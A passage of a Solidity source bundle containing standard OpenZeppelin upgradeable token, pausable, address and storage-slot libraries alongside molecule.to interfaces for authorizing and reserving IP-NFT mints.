`_balances[to]` could overflow in the conditions described in `_mint`. That would require\n // all 2**256 token ids to be minted, which in practice is impossible.\n _balances[from] -= 1;\n _balances[to] += 1;\n }\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens will be transferred to `to`.\n * - When `from` is zero, the tokens will be minted for `to`.\n * - When `to` is zero, ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.\n * - When `from` is zero, the tokens were minted for `to`.\n * - When `to` is zero, ``from``'s tokens were burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n *\n * WARNING: Anyone calling this MUST ensure that the balances remain consistent with the ownership. The invariant\n * being that for any address `a` the value returned by `balanceOf(a)` must be equal to the number of tokens such\n * that `ownerOf(tokenId)` is `a`.\n */\n // solhint-disable-next-line func-name-mixedcase\n function __unsafe_increaseBalance(address account, uint256 amount) internal {\n _balances[account] += amount;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[44] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721BurnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721 Burnable Token\n * @dev ERC721 Token that can be burned (destroyed).\n */\nabstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {\n function __ERC721Burnable_init() internal onlyInitializing {\n }\n\n function __ERC721Burnable_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev Burns `tokenId`. See {ERC721-_burn}.\n *\n * Requirements:\n *\n * - The caller must own `tokenId` or be an approved operator.\n */\n function burn(uint256 tokenId) public virtual {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _burn(tokenId);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/extensions/ERC721URIStorage.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../interfaces/IERC4906Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev ERC721 token with storage based token URI management.\n */\nabstract contract ERC721URIStorageUpgradeable is Initializable, IERC4906Upgradeable, ERC721Upgradeable {\n function __ERC721URIStorage_init() internal onlyInitializing {\n }\n\n function __ERC721URIStorage_init_unchained() internal onlyInitializing {\n }\n using StringsUpgradeable for uint256;\n\n // Optional mapping for token URIs\n mapping(uint256 => string) private _tokenURIs;\n\n /**\n * @dev See {IERC165-supportsInterface}\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, IERC165Upgradeable) returns (bool) {\n return interfaceId == bytes4(0x49064906) || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory _tokenURI = _tokenURIs[tokenId];\n string memory base = _baseURI();\n\n // If there is no base URI, return the token URI.\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n\n return super.tokenURI(tokenId);\n }\n\n /**\n * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.\n *\n * Emits {MetadataUpdate}.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {\n require(_exists(tokenId), \"ERC721URIStorage: URI set of nonexistent token\");\n _tokenURIs[tokenId] = _tokenURI;\n\n emit MetadataUpdate(tokenId);\n }\n\n /**\n * @dev See {ERC721-_burn}. This override additionally checks to see if a\n * token-specific URI was set for the token, and if so, it deletes the token URI from\n * the storage mapping.\n */\n function _burn(uint256 tokenId) internal virtual override {\n super._burn(tokenId);\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n }\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/security/PausableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n _requireNotPaused();\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n _requirePaused();\n _;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Throws if the contract is paused.\n */\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n /**\n * @dev Throws if the contract is not paused.\n */\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/CountersUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title Counters\n * @author Matt Condon (@shrugs)\n * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number\n * of elements in a mapping, issuing ERC721 ids, or counting request ids.\n *\n * Include with `using Counters for Counters.Counter;`\n */\nlibrary CountersUpgradeable {\n struct Counter {\n // This variable should never be directly accessed by users of the library: interactions must be restricted to\n // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add\n // this feature: see https://github.com/ethereum/solidity/issues/4637\n uint256 _value; // default: 0\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n require(value > 0, \"Counter: decrement overflow\");\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n"
},
"src/IAuthorizeMints.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nstruct SignedMintAuthorization {\n uint256 reservationId;\n string tokenUri;\n /// eth_sign(keccak256(abi.encodePacked(minter, to, reservationId, tokenUri)))\n bytes authorization;\n}\n\n/// @title IAuthorizeMints\n/// @author molecule.to\n/// @notice a flexible interface to gate token mint calls on another contract, built for IP-NFTs\ninterface IAuthorizeMints {\n /// @notice checks whether `minter` is allowed to mint a token for `to`. MAY safely revert if this is not the case.\n /// @param data bytes implementation specific data\n function authorizeMint(address minter, address to, bytes memory data) external view returns (bool);\n\n /// @notice checks whether `reserver` is allowed to reserve a token id on the target contract\n function authorizeReservation(address reserver) external view returns (bool);\n\n /// @notice called by the gated token contract to signal that a token has been minted and an authorization can be invalidated\n /// @param data implementation specific data\n function redeem(bytes memory data) external;\n}\n"
},
"src/IReservable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\ninterface IReservable {\n function reserve() external returns (uint256);\n\n function mintReservation(address to, uint256 reservationId, string calldata _tokenURI, string calldata _symbol, bytes calldata authorization)\n external\n payable\n returns (uint256 tokenId);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/beacon/IBeaconUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeaconUpgradeable {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/interfaces/IERC1967Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC1967.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev ERC-1967: Proxy Storage Slots. This interface contains the events defined in the ERC.\n *\n * _Available since v4.8.3._\n */\ninterface IERC1967Upgradeable {\n /**\n * @dev Emitted when the implementation is upgraded.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Emitted when the admin account has changed.\n */\n event AdminChanged(address previousAdmin, address newAdmin);\n\n /**\n * @dev Emitted when the beacon is changed.\n */\n event BeaconUpgraded(address indexed beacon);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n */\nlibrary StorageSlotUpgradeable {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/ERC20Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20Upgradeable.sol\";\nimport \"./extensions/IERC20MetadataUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * The default value of {decimals} is 18. To change this, you should override\n * this function so it returns a different value.\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC20_init_unchained(name_, symbol_);\n }\n\n function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the default value returned by this function, unless\n * it's overridden.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` 